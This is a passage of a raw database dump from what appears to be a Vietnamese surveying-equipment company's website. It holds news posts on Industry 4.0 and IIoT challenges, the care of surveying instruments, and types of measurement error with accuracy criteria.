<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p>
',
'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-20',
'modified' => '2025-08-10',
'status' => '1',
'view' => '62998',
'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '941',
'rght' => '942',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '537',
'name' => 'Cách bảo quản thiết bị trắc địa đúng cách',
'code' => null,
'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br />
- Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br />
- Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br />
- Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br />
Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br />
- Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br />
- Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br />
- Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br />
- Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br />
- Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br />
- Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br />
- Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br />
- Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br />
<br />
Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br />
</span></span>',
'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-03',
'modified' => '2025-08-10',
'status' => '1',
'view' => '74548',
'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '939',
'rght' => '940',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '536',
'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo',
'code' => null,
'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
